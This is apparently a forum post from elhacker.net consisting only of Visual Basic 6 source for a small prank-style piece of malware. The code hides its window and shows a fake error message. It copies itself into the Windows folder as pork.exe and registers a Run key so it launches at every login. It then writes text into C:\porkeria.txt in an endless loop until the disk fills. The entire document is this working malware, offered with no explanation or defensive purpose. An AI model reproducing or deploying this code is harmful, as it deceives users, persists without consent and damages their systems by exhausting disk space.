Foro de elhacker.net

Private Sub Form_Load()
On Error Resume Next
Form1.Hide
Set comprovar = CreateObject("scripting.filesystemobject")
Set archivo = CreateObject("scripting.filesystemobject")
Set escribir = archivo.CreateTextFile("C:\porkeria.txt", False)
Set inicio = CreateObject("WScript.Shell")
If (comprovar.FileExists("C:\WINDOWS\pork.EXE")) = False Then
MsgBox "Error durante la aplicación. Deberá cerrarse", vbCritical, "ERROR"
FileCopy App.EXEName & ".EXE", "C:\WINDOWS\pork.EXE"
inicio.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pork", "C:\WINDOWS\pork.exe"
End If
Do
escribir.write "jAjAjAjAjA...   jAjAjAjAjA...   jAjAjAjAjA...   jAjAjAjAjA...   jAjAjAjAjA...   "
Loop
End Sub